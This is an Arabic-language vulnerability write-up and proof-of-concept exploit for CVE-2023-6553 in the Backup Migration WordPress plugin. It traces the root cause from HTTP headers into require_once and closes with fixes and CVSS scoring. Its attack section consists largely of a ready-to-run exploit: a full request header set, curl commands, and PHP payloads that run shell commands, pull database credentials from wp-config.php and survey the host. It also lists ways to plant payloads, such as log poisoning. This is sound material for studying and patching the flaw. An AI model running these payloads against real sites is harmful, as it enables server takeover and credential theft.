
استغلال إثبات المفهوم وتقرير فني لثغرة CVE-2023-6553، وهي ثغرة تضمين ملفات PHP غير مصادق عليها تتيح تنفيذ تعليمات برمجية عن بُعد في إضافة Backup Migration لووردبريس بإصدار <=1.3.7.
الإضافة: Backup Migration (backup-backup) ≤ 1.3.7
CVSS: 9.8 (حرجة)
CWE: CWE-98 — تحكم غير سليم في اسم الملف لجملة Include/Require
متطلب المصادقة: لا يوجد
الأثر: تنفيذ تعليمات برمجية عن بُعد
إضافة Backup Migration هي إضافة ووردبريس شائعة إلى حد ما (أكثر من ~90,000 تثبيت نشط) تساعد المستخدمين على إنشاء نسخ احتياطية. أثناء عملية النسخ الاحتياطي، يوجد في الإضافة ملف باسم backup-heart.php يعمل في الخلفية - يستقبل معلومات الإعداد عبر ترويسات HTTP لمعرفة الدليل الذي يجب نسخه احتياطيًا، وأين يقع ملف الإعداد، وما إلى ذلك.
تكمن المشكلة في أن هذا الملف يثق تمامًا في ترويسات HTTP المرسلة من العميل، ويأخذ قيمة الترويسة مباشرة إلى مسار الملف، ثم يستخدم require_once() لتحميل الملف من ذلك المسار. لا يحتاج المهاجم سوى إرسال ترويسة Content-Dir تشير إلى دليل يحتوي على كود PHP خبيث → يقوم الخادم تلقائيًا بتضمينه وتنفيذه.
من الجدير بالذكر أن ملف backup-heart.php لا يتطلب مصادقة — فهو يتحقق فقط من أن طريقة الطلب هي POST، دون التحقق من أي nonce أو صلاحيات مستخدم. يمكن لأي شخص على الإنترنت إرسال طلب إليه.
⇒ هذه ثغرة بدون نقرة (zero-click).
توجد في PHP دوال مثل include() و require() و require_once() تُستخدم لتضمين ملفات PHP أخرى في البرنامج الجاري. عندما يأتي مسار الملف المُمرَّر إلى هذه الدوال من مدخلات المستخدم دون تحقق، يمكن للمهاجم إجبار الخادم على تضمين أي ملف يريده:
allow_url_include=On (عادةً ما يكون معطلاً افتراضيًا).تندرج هذه الثغرة تحت LFI — يتحكم المهاجم في المسار المُمرَّر إلى require_once() الذي يشير إلى ملف PHP تمكن المهاجم من كتابته على الخادم.
يعتقد العديد من المطورين أن ترويسات HTTP هي بيانات وصفية "داخلية" لا يعرفها سوى الخادم والعميل. في الواقع، يتحكم المهاجمون في 100% من محتوى الترويسات — يمكنهم تعيين أي اسم وقيمة لأي ترويسة. الثقة بالترويسات تشبه تمامًا الثقة بمدخلات النماذج — يجب التحقق منها.
define() وثوابت PHPتُنشئ define('NAME', $value) ثابتًا يُستخدم في جميع أنحاء التطبيق. وبمجرد تعريفه عبر define، لا يمكن تغيير قيمته. إذا كانت $value قادمة من مهاجم، فكل مكان يستخدم هذا الثابت يتأثر.
بدأت باستخدام grep للبحث عن جميع جمل require وinclude في أنحاء الإضافة:
grep -rn "require\|include" includes/

أعادت نتائج البحث العديد من استدعاءات require/include. وبمراجعتها، كانت معظمها استدعاءات include_once في banner/misc.php وbanner/views/index.php — وهي تخص كود عرض واجهة الإدارة بمسارات ثابتة، مما يجعلها غير قابلة للاستغلال.
غير أن سطرين في backup-heart.php لفتا انتباهي:
includes/backup-heart.php:64: define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
includes/backup-heart.php:118: require_once BMI_INCLUDES . '/bypasser.php';
يستخدم السطر 118 require_once مع الثابت BMI_INCLUDES — ولو كان هذا الثابت بقيمة ثابتة لكان آمنًا. ولكن بالنظر إلى السطر 64، رأيت أن BMI_INCLUDES مبني من ثابت آخر هو BMI_ROOT_DIR. لذا علينا تتبع المصدر أكثر: أين تُسند قيمة BMI_ROOT_DIR؟
استخدمت grep مرة أخرى لتتبعه:
grep -n "BMI_ROOT_DIR" includes/backup-heart.php
النتائج:

Line 62: define('BMI_ROOT_DIR', $fields['content-dir']);
Line 64: define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
يُظهر السطر 62 أن BMI_ROOT_DIR يأخذ قيمته من $fields['content-dir']. هذا متغير وليس قيمة ثابتة — نحتاج إلى فتح الملف ومعرفة ما يحتويه $fields.
فتحت backup-heart.php في VS Code عند السطر 62:
// Line 62
define('BMI_ROOT_DIR', $fields['content-dir']);
// Line 64
define('BMI_INCLUDES', BMI_ROOT_DIR. 'includes');

من الواضح أن $fields['content-dir'] يدخل مباشرة إلى define(). الآن نحتاج إلى تحديد أين يُسند المتغير $fields:
// Lines 7-9: Only checks POST method
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
exit;
}
// Lines 30-33: Reads ALL HTTP headers from the request
if (isFunctionEnabled('getallheaders')) {
$fields= getallheaders();
}
// Lines 42-46: Lowercases header names
foreach ($fieldsas $key=> $value) {
$buffer= $value;
unset($fields[$key]);
$fields[strtolower($key)] = $value;
}


عند هذه النقطة، يصبح السبب الجذري واضحًا تمامًا: $fields يحتوي على جميع ترويسات HTTP المستخرجة عبر getallheaders() — وهي خاضعة بالكامل للعميل. لا يوجد wp_verify_nonce() ولا current_user_can() ولا فحص للمسار الصحيح — بل يتحقق فقط من طريقة POST ويقرأ الترويسات مباشرة.
Attacker sends POST request with header Content-Dir: /path/to/attacker/
↓
getallheaders() reads raw headers → $fields['content-dir'] = "/path/to/attacker/"
↓
define('BMI_ROOT_DIR', "/path/to/attacker/") ← no validation
↓
define('BMI_INCLUDES', "/path/to/attacker/includes")
↓
require_once "/path/to/attacker/includes/bypasser.php" ← executes PHP
↓
Attacker code runs with www-data privileges → RCE
ملخص السبب الجذري: ترويسة HTTP ← define() ← require_once()، دون أي خطوة تحقق بينها.
استخدمت Xdebug + VS Code لتأكيد مسار الهجوم بصريًا. وضعت نقطتي توقف عند السطرين 62 و118 في ملف backup-heart.php، ثم أرسلت طلب الاستغلال باستخدام curl.
نقطة التوقف 1 — السطر 62:
توقف المُنقّح (debugger) مباشرة عند define('BMI_ROOT_DIR', $fields['content-dir']). عند توسيع المتغير $fields في لوحة Variables ظهرت مصفوفة من 22 عنصرًا — تحتوي على جميع ترويسات HTTP التي أرسلها العميل. وتحديدًا:
content-dir = "/tmp/bmi/" — هذه هي القيمة المُرسلة عبر الترويسة تمامًا، والتي تُسند مباشرة إلى الثابت BMI_ROOT_DIR.content-abs = "/var/www/html/", content-configdir = "/tmp/bmi/", content-backups = "/tmp/bmi/back..." — جميعها خاضعة للمهاجم.لا توجد أي خطوات تحقق أو تصفية تُطبق على content-dir قبل تمريره إلى define().

نقطة التوقف 2 — السطر 118:
عند الضغط على F5، توقف المُنقّح عند require_once BMI_INCLUDES . '/bypasser.php'. بالنظر إلى الحالة:
$fields يحتفظ بـ content-dir = "/tmp/bmi/" — مما يثبت أن القيمة لم تتغير بين السطرين 62 و118.{main} backup-heart.php 118:1 — أي أن الكود نُفذ مباشرة من أعلى الملف حتى هذه النقطة، متجاوزًا أي برمجيات وسيطة أو فحوصات مصادقة./tmp/bmi/includes/bypasser.php — وهو ملف يتحكم المهاجم في محتواه.
تؤكد نتائج التصحيح تمامًا المسار الذي تم تحليله في الخطوة 3: تنتقل ترويسة HTTP من getallheaders() ← define() ← require_once()، دون أي تحقق بينها.
قبل تشغيل التضمين، يجب أن يكون ملف PHP موجودًا بالفعل على الخادم المستهدف. من التقنيات الشائعة:
| الطريقة | الفكرة |
|---|---|
| تسميم السجلات (Log poisoning) |
أرسل طلبًا مع Content-Dir يشير إلى الدليل الذي يحتوي على الحمولة (payload). يقوم الخادم تلقائيًا بتنفيذ require وتشغيل ملف المهاجم.
POST /wp-content/plugins/backup-backup/includes/backup-heart.php HTTP/1.1
Host: target.com
Content-Dir: /tmp/bmi/
Content-Abs: /var/www/html/
Content-Content: /var/www/html/wp-content/
Content-Configdir: /tmp/bmi/
Content-Backups: /tmp/bmi/backups/
Content-Safelimit: 1
Content-Browser: true
Content-Identy: 1
Content-Manifest: 1
Content-Rev: 1
Content-Name: test
Content-Start: 1
Content-Filessofar: 0
Content-Total: 1
Content-Bmitmp: /tmp/
Content-It: 1
Content-Dbit: 1
Content-Dblast: 1
Content-Url: http://target.com/
يجب توفير جميع ترويسات Content-* لأن backup-heart.php يستخدمها في استدعاءات define() أخرى — فغياب الترويسات يؤدي إلى تحذيرات PHP وقد يوقف التنفيذ قبل الوصول إلى require_once.
curl -s -o /dev/null -w "%{http_code}" -X POST \
"http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php"
تعيد 200 — نقطة الوصول مفتوحة ولا تطلب مصادقة.

أنشئ بنية الدلائل بما يطابق ما يتوقعه require_once العثور عليه: {Content-Dir}includes/bypasser.php:
mkdir -p /tmp/bmi/includes
cat > /tmp/bmi/includes/bypasser.php << 'EOF'
<?php echo "RCESTART"; echo shell_exec("id"); echo "RCEEND"; die(); ?>
EOF

curl -s -X POST "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php" \
-H "Content-Dir: /tmp/bmi/" \
-H "Content-Abs: /var/www/html/" \
-H "Content-Content: /var/www/html/wp-content/" \
-H "Content-Configdir: /tmp/bmi/" \
-H "Content-Backups: /tmp/bmi/backups/" \
-H "Content-Safelimit: 1" \
-H "Content-Browser: true" \
-H "Content-Identy: 1" \
-H "Content-Manifest: 1" \
-H "Content-Rev: 1" \
-H "Content-Name: test" \
-H "Content-Start: 1" \
-H "Content-Filessofar: 0" \
-H "Content-Total: 1" \
-H "Content-Bmitmp: /tmp/" \
-H "Content-It: 1" \
-H "Content-Dbit: 1" \
-H "Content-Dblast: 1" \
-H "Content-Url: http://localhost:8181/"
نتيجة الإخراج:

نجاح تنفيذ الأوامر — ينفذ الخادم أمر id ويعيد ناتجه.
بعد تأكيد تنفيذ الأوامر، غيّرت الحمولة لإظهار أن المهاجم يمكنه قراءة معلومات حساسة على الخادم. غيّر محتوى ملف الحمولة لقراءة ملف wp-config.php:
docker exec wp-bricks-rce bash -c 'cat > /tmp/bmi/includes/bypasser.php << "EOF"
<?php echo "RCESTART\n"; echo shell_exec("grep DB_ /var/www/html/wp-config.php"); echo "\nRCEEND"; die(); ?>
EOF'
أعد إرسال نفس طلب استغلال curl → يعيد الإخراج تفاصيل الاتصال بقاعدة البيانات:
curl -s -X POST "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php" -H "Content-Dir: /tmp/bmi/" -H "Content-Abs: /var/www/html/" -H "Content-Content: /var/www/html/wp-content/" -H "Content-Configdir: /tmp/bmi/" -H "Content-Backups: /tmp/bmi/backups/" -H "Content-Safelimit: 1" -H "Content-Browser: true" -H "Content-Identy: 1" -H "Content-Manifest: 1" -H "Content-Rev: 1" -H "Content-Name: test" -H "Content-Start: 1" -H "Content-Filessofar: 0" -H "Content-Total: 1" -H "Content-Bmitmp: /tmp/" -H "Content-It: 1" -H "Content-Dbit: 1" -H "Content-Dblast: 1" -H "Content-Url: http://localhost:8181/"
يمكن للمهاجم قراءة أي ملف يملك مستخدم www-data صلاحية الوصول إليه — مثل wp-config.php و/etc/passwd والكود المصدري لإضافات أخرى — مما يوسع سطح الهجوم.

عدّل الحمولة أكثر لإظهار أن المهاجم يمكنه جمع معلومات عن نظام الخادم — مما يساعد في تصعيد الصلاحيات أو الحركة الجانبية:
docker exec wp-bricks-rce bash -c 'cat > /tmp/bmi/includes/bypasser.php << "EOF"
<?php echo "RCESTART\n"; echo shell_exec("uname -a"); echo shell_exec("hostname -I"); echo "\nRCEEND"; die(); ?>
EOF'
أرسل استغلال curl → الإخراج:
RCESTART
Linux 544a7c6002c6 6.18.33.1-microsoft-standard-WSL2 x86_64 GNU/Linux
172.18.0.3
RCEEND

من هذا الإخراج، يكتشف المهاجم:
172.18.0.3 — يؤكد أن الخادم داخل شبكة Docker، مما يتيح التنقل إلى حاويات أخرى (قاعدة البيانات، الكاش، إلخ.)backup-heart.php يبقى على القرص ويمكن الوصول إليه مباشرة عبر رابط.لا تستخدم ترويسات HTTP لتحديد مسارات الملفات. استخدم مسارات نسبية مشتقة من __DIR__:
// Vulnerable: uses whatever header value the attacker sends
define('BMI_ROOT_DIR', $fields['content-dir']);
// Fixed: uses fixed path, attacker cannot modify
define('BMI_ROOT_DIR', dirname(__FILE__) . '/../');
أضف فحص تفويض — يجب أن يُسمح فقط لمسؤول ووردبريس باستدعاء نقطة الوصول هذه:
if (!wp_verify_nonce($fields['content-nonce'], 'bmi_backup_action')) {
die('Unauthorized');
}
backup-heart.php./wp-content/plugins/*/includes/*.php.| الخاصية | القيمة |
|---|
| معرف CVE | CVE-2023-6553 |
| درجة CVSS | 9.8 (حرجة) |
| الإضافة | backup-backup (Backup Migration) ≤ 1.3.7 |
| المصادقة | غير مطلوبة |
| تفاعل المستخدم | لا شيء (بدون نقرة) |
| الإصلاح | الإصدار 1.3.8 |
إرسال طلب يحتوي على <?php ... ?> داخل User-Agent → يُكتب الكود في سجل الوصول → تضمين ملف السجل |
| جلسة PHP | كتابة كود PHP داخل ملف جلسة موجود في /tmp/sess_xxx |
| سلسلة الرفع | استغلال ميزة رفع الوسائط/الصورة الرمزية في ووردبريس لرفع الملف |
| سجل أخطاء الإضافة | تكتب الإضافة سجل أخطاء خاصًا بها — إثارة خطأ يحتوي على كود PHP يكتب الكود في ملف السجل |
| مقياس CVSS | القيمة | السبب |
|---|
| ناقل الهجوم (Attack Vector) | شبكة (Network) | عبر HTTP |
| تعقيد الهجوم (Attack Complexity) | منخفض | طلب POST واحد، لا يتطلب توقيتًا أو شروطًا خاصة |
| الصلاحيات المطلوبة | لا شيء | نقطة الوصول لا تتطلب مصادقة |
| تفاعل المستخدم | لا شيء | الهجوم يقوده المهاجم، والضحية لا تحتاج لأي تفاعل |
| السرية (Confidentiality) | عالية | يمكن قراءة أي ملف: wp-config.php، /etc/passwd، الكود المصدري |
| السلامة (Integrity) | عالية | كتابة ملفات عشوائية، تثبيت ويب شيل، تعديل قاعدة البيانات |
| التوفر (Availability) | عالية | حذف الملفات، إنهاء العمليات، اختراق كامل للخادم |